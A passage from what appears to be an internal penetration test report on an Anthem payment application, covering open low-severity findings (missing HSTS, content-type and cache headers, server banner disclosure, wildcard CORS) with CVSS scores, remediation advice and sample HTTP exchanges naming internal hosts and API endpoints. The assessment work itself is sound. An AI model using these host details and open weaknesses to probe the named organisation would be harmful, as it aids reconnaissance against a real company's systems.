| Recommendations | In order to implement Strict Transport Security, ensure all application components uses HTTPS, in lieu of SSL mixed content (both HTTP and HTTPS). Utilize the below HTTP Strict Transport Security header (HSTS Header) on web servers, and ensure this header is present in all HTTP responses sent by application:  Strict-Transport-Security: max-age=10886400; includeSubDomains; preload |
| Retest Notes |  |
| The below HTTP request and response demonstrates that the application is not setting the HTTP Strict Transport Security (HSTS) header.  **HTTP Request:**   |  | | --- | | GET /sgofundhip/index.html HTTP/1.1  Host: payment.sit2.va.anthem.com  User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  Accept-Language: en-US,en;q=0.5  Accept-Encoding: gzip, deflate  Referer: https://payment.sit2.va.anthem.com/gofundhip/  Cookie: [SNIP]  Connection: close |   **HTTP Response:**   |  | | --- | | HTTP/1.1 200 OK  Date: Fri, 31 May 2019 17:43:49 GMT  Last-Modified: Wed, 22 May 2019 13:37:09 GMT  ETag: "18550-3f4-5897a0fe16b40"  Accept-Ranges: bytes  Content-Length: 1012  Content-Type: text/html  Connection: close  <!DOCTYPE html>  [SNIP] | | |

|  |  |
| --- | --- |
| L4 – Missing Safeguard: Content-Type Options Header – Open | |
| CVSS Score and Link | [2.6](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N) |
| CWE | CWE-16: Configuration |
| Affected Systems | Systemic |
| Description | The application does not fully utilize Internet Explorer browser security controls to prevent MIME type confusion attacks. The tester observed that the application server does not serve responses with X-Content-Type-Options Header.  Risk:  By default, Internet Explorer and some other browsers will attempt to automatically detect the MIME type of a HTTP response and override the Content-Type HTTP header provided in the response. This allows older versions of Internet Explorer and Chrome to perform MIME-sniffing on the response body, potentially causing the response body to be interpreted and displayed as a content type other than the intended content type. This behavior, called MIME sniffing, can be exploited to cause browsers to render content in an unintended manner with security implications. In a scenario where a website allows users to upload content which is then published on the web server, if an attacker can carry out XSS (Cross-site Scripting) attack by manipulating the content in a way to be accepted by the web application and rendered as HTML by the browser, it is possible to inject arbitrary code of the attacker&#39; s choosing and make the victim execute that code with dangerous security and privacy implications.  References:  MSDN: Reducing MIME type security risks (<http://msdn.microsoft.com/en-us/library/ie/gg622941(v=vs.85).aspx>) |
| Recommendations | Prevent Internet Explorer version 9 and higher and other content-sniffing browsers from performing MIME sniffing. Issue the following HTTP response header in all application responses:  X-Content-Type-Options: nosniff  Adding the X-Content-Type-Options header with a value of &quot; nosniff&quot; will inform the browser to trust what the site has sent in the response as content-type is the appropriate content-type, and to not attempt &quot; sniffing&quot; the real content-type. Note that when MIME sniffing is disabled, the application must issue the correct Content-Type header for each resource to ensure proper functionality. |
| Retest Notes |  |
| The below HTTP request and response demonstrates that the application is not setting the X-Content-Type-Options header.  **HTTP Request:**   |  | | --- | | GET /sgofundhip/index.html HTTP/1.1  Host: payment.sit2.va.anthem.com  User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  Accept-Language: en-US,en;q=0.5  Accept-Encoding: gzip, deflate  Referer: https://payment.sit2.va.anthem.com/gofundhip/  Cookie: [SNIP]  Connection: close |   **HTTP Response:**   |  | | --- | | HTTP/1.1 200 OK  Date: Fri, 31 May 2019 17:43:49 GMT  Last-Modified: Wed, 22 May 2019 13:37:09 GMT  ETag: "18550-3f4-5897a0fe16b40"  Accept-Ranges: bytes  Content-Length: 1012  Content-Type: text/html  Connection: close  <!DOCTYPE html>  [SNIP] | | |

|  |  |
| --- | --- |
| L5 – Sensitive Information Disclosure – Open | |
| CVSS Score and Link | [2.6](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N) |
| CWE | CWE-200: Information Exposure |
| Affected Systems | Systemic |
| Description | An information exposure is the intentional or unintentional disclosure of information to an actor that is not explicitly authorized to have access to that information. |
| Recommendations | Phase (Architecture and Design) - Strategy (Separation of Privilege) - Compartmentalize the system to have “safe” areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful not to expose system information. |
| Retest Notes |  |
| The below snippet identifies the username being sent through the header and the X-Powered-By header being set in the response.  **HTTP Request:**   |  | | --- | | POST /paymentgateway/loginservices/v1/gbd/account/otp/validate HTTP/1.1  Host: payment.sit2.va.anthem.com  User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0  senderapp: TPP  [SNIP] |   **HTTP Response:**   |  | | --- | | HTTP/1.1 200 OK  Date: Wed, 29 May 2019 19:34:27 GMT  X-Powered-By: Servlet/3.0  Access-Control-Allow-Origin: \*  Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE  [SNIP] | | |

|  |  |
| --- | --- |
| L6 – Missing Safeguard: Cache Controls Not Set – Open | |
| CVSS Score and Link | [1.9](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:P/AC:H/PR:L/UI:R/S:C/C:N/I:L/A:N) |
| CWE | CWE-524: Information Exposure Through Caching |
| Affected Systems | Systemic |
| Description | Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time. |
| Recommendations | Applications should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts.  Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:  Cache-control: no-store  Pragma: no-cache |
| Retest Notes |  |
| The below HTTP request and response demonstrates that the application is not setting the cache controls header.  **HTTP Request:**   |  | | --- | | GET /sgofundhip/index.html HTTP/1.1  Host: payment.sit2.va.anthem.com  User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  Accept-Language: en-US,en;q=0.5  Accept-Encoding: gzip, deflate  Referer: https://payment.sit2.va.anthem.com/gofundhip/  Cookie: [SNIP]  Connection: close |   **HTTP Response:**   |  | | --- | | HTTP/1.1 200 OK  Date: Fri, 31 May 2019 17:43:49 GMT  Last-Modified: Wed, 22 May 2019 13:37:09 GMT  ETag: "18550-3f4-5897a0fe16b40"  Accept-Ranges: bytes  Content-Length: 1012  Content-Type: text/html  Connection: close  <!DOCTYPE html>  [SNIP] | | |

# *Informational Findings*

|  |  |
| --- | --- |
| I1 – Cross Origin Resource Sharing (CORS) – Open | |
| CVSS Score and Link | 0.0 |
| CWE | CWE-346: Origin Validation Error |
| Affected Systems | Systemic |
| Description | The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request.  If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.  Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks. |
| Recommendations | Any inappropriate domains should be removed from the CORS policy. |
| Retest Notes |  |
| The HTTP request and response demonstrates the applications use of a wildcard in the origin settings.  **HTTP Request:**   |  | | --- | | POST /paymentgateway/gofundhip/secure/v1/gbd/account/modifyUser HTTP/1.1  Host: payment.sit2.va.anthem.com  User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0  Accept: application/json, text/plain, \*/\*  Accept-Language: en-US,en;q=0.5  Accept-Encoding: gzip, deflate  Content-Type: application/json; charset=UTF-8  [SNIP] |   **HTTP Response:**   |  | | --- | | HTTP/1.1 200 OK  Date: Fri, 31 May 2019 18:46:32 GMT  Set-Cookie: [SNIP]  X-Powered-By: Servlet/3.0  Access-Control-Allow-Origin: \*  Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE  [SNIP] | | |

**Global Disclaimer**

This is a point-in-time assessment of the architecture asserted by the project team and vendor in documentation provided. As utilization patterns change within Anthem the risk, probability, and amplitude will change.